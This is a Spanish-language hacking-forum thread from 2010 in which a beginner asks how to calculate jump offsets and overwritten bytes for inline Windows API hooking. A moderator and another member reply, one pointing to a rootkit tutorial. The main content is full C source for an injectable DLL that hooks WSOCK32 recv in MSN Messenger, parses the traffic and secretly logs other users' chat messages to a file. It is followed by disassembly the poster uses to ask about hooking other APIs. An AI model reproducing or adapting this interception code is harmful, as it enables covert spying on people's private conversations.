elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  me podeis decir Como calcular salto apihook?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: me podeis decir Como calcular salto apihook?  (Leído 3,153 veces)
SuperNovato

Desconectado Desconectado

Mensajes: 41


Ver Perfil
me podeis decir Como calcular salto apihook?
« en: 16 Diciembre 2010, 19:25 pm »

Holas toi q practico apihooking, vi unos codes, me podeis decir como calcular : el salto - los bytes a modificar ? estoi viendo con mi debugger : user32.dll, kernel32.dll, wsock32.dll y veo algunas apis tienen mas de 5 bytes a modificar.
Estuve intentando hookear el send del wsock32 en el MSN, pero crashea, creo que calcule mal.


En línea

Littlehorse
All the world's a stage
Moderador
***
Desconectado Desconectado

Mensajes: 2.714


Nie Dam Sie


Ver Perfil WWW
Re: me podeis decir Como calcular salto apihook?
« Respuesta #1 en: 16 Diciembre 2010, 20:32 pm »

Pon lo que llevas hecho así se ve claramente el error sin necesidad de especular.

Lectura recomendada:

http://www.codeproject.com/KB/system/hooksys.aspx

Saludos


En línea

An expert is a man who has made all the mistakes which can be made, in a very narrow field.
fary


Desconectado Desconectado

Mensajes: 1.075



Ver Perfil WWW
Re: me podeis decir Como calcular salto apihook?
« Respuesta #2 en: 16 Diciembre 2010, 22:03 pm »

Tambien te puedes leer el tutorial de EON sobre como crear rootkits, en una parte del tutorial explica perfectamente como averiguarlo.

salu2!
En línea

Un byte a la izquierda.
SuperNovato

Desconectado Desconectado

Mensajes: 41


Ver Perfil
Re: me podeis decir Como calcular salto apihook?
« Respuesta #3 en: 16 Diciembre 2010, 23:11 pm »

encontre este code donde se hookea a recv de "WSOCK32" de mazard:


Código:
//Interceptación de apis by MazarD (API HOOKING)
//Hook a WINSOCK
//www.mazard.info
#include <windows.h>
#include <stdio.h>

//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y
//el salto a la api+5
BYTE *Buffer;


struct infoConverses
{
SOCKET sckMSN;
char correu[5000];
}msnFuckit[20];

struct paquetes
{
SOCKET s;
char *buf;
int len;
int flags;
}paquete;


int cntscks=-1;

//Ésta es la dll donde reside la api Recv y Send
char Libreria[]="WSOCK32.dll";


char LogMsn[MAX_PATH]="c:\\logmsn.txt";

//El api en qüestión
char NomApi[]="recv";


//Variable Booleana Flag
bool blockrec=false;

//Funcion a la que llamará el programa principal creiendo que es la api original
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);


void Hookear(void);

void Filtrar(void);

//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer
int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);

//La función de reemplazo explicada arriba

int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags)
{

int res;

res=pBuff(s,buf,len,flags);

paquete.s=s;
paquete.buf=buf;
paquete.len=len;
paquete.flags=flags;
Filtrar();




return (res);
}

void Hookear(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
//Cojemos la dirección de memoria de la api
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);


//Creamos 10bytes de memoria para nuestro Buffer
if ((Buffer=(BYTE *)malloc(10))==NULL) return;
if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Buffer=(BYTE *)malloc(10);

//Le damos todos los permisos a los 10 bytes de nuestro Buffer
//VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

//copiamos los 5 primeros bytes originales de la api antes de machacarlos
memcpy(Buffer,DirApi,5);
Buffer+=5;
//En el sexto introducimos E9 que corresponde a jmp(salto
//incondicional) en código máquina para que salte a la api original
*Buffer=0xE9;
Buffer++;

//A partir del septimo metemos 4 bytes que determinan la distancia del salto
//desde el buffer hasta la Dirección de la api+5
*((signed int *) Buffer)=(DirApi+1)-Buffer;

//Asignamos al puntero a funcion pBuff el inicio del Buffer
pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);

//Le damos todos los permisos a los 5 primeros bytes de la api original
//VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYo=(BYTE *) FuncioRep;
//En el inicio de la api metemos un salto incondicional hacia nuestro código
//E9=jmp
*DirApi=0xE9;
DirApi++;

//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta
//la función de reemplazo en nuestro código, fijate que en este caso el
//resultado tiene que ser negativo, puesto que las apis corren en direcciones
//de memória mucho mas altas y el salto deberá ser "hacia atrás"
*((signed int *) DirApi)=DirYo-(DirApi+4);

//libermos las librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

void Filtrar(void)
{
FILE *Archivo;
char Escric[1024];
int payl;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;

if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=paquete.s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=paquete.s;
}

if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Archivo=fopen(LogMsn,"a");
fputs("\r\n",Archivo);
fputs(Escric,Archivo);
fputs(" dice:",Archivo);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Archivo);
fputs(Ini2,Archivo);
fclose(Archivo);

//Archivo=fopen(LogMsn,"a");
//fputs(buf,Archivo);
//fclose(Archivo);


}


}


bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{


//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos
if (fdwReason == DLL_PROCESS_ATTACH) {

Hookear();

}

return TRUE;
}


lo ejecute y ploffffff el msn explota :D

http://www.uploadfilesystem.com//viewimage.php?file=/imagenes/10/12/16/K2s36301.jpg

Entonces me puse a modificar un poco ps igual crash¡¡¡, luego lo midifique en vez de "recv" a "send" pa ver q sucedia y crash¡¡. asi que me harte y borre la modificacion, y lei en el tuto de mazard los saltos y los bytes que se deben modificar en la api pa q todo vaya bien, asi que meti la cabeza en el debugger (como dice mazard) y me fije recv:

Código:
 recv:
88FF mov edi,edi
55 push ebp
8BEC mov ebp,esp
51 push ecx
51 push ecx
8B4510 mov eax,[ebp+10h]
8945F8 mov [ebp-08h],eax
8B450C mov eax,[ebp+0Ch]

cogiendo los 5 bytes serian: 88FF558BEC , pero como saber exactamente cuantos bytes se debe cojer si kisiera hookear otra api ? en el anterior por que se cogieron solo los 5 bytes?.

Lh: No hagas doble post. Utiliza el botón modificar.

En resumen, aki me estanco, me podeis dar una aclaracion de eso?




En la api ShowWindow de user32 sale esto:

Código:
B82B120000 mov eax,0000122Bh
BA0003FE7F mov edx,7FFE0300h
FF12 call [edx]
C20800 retn 0008h



Aqui cuantos bytes se cogeria?
« Última modificación: 16 Diciembre 2010, 23:58 pm por Littlehorse » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines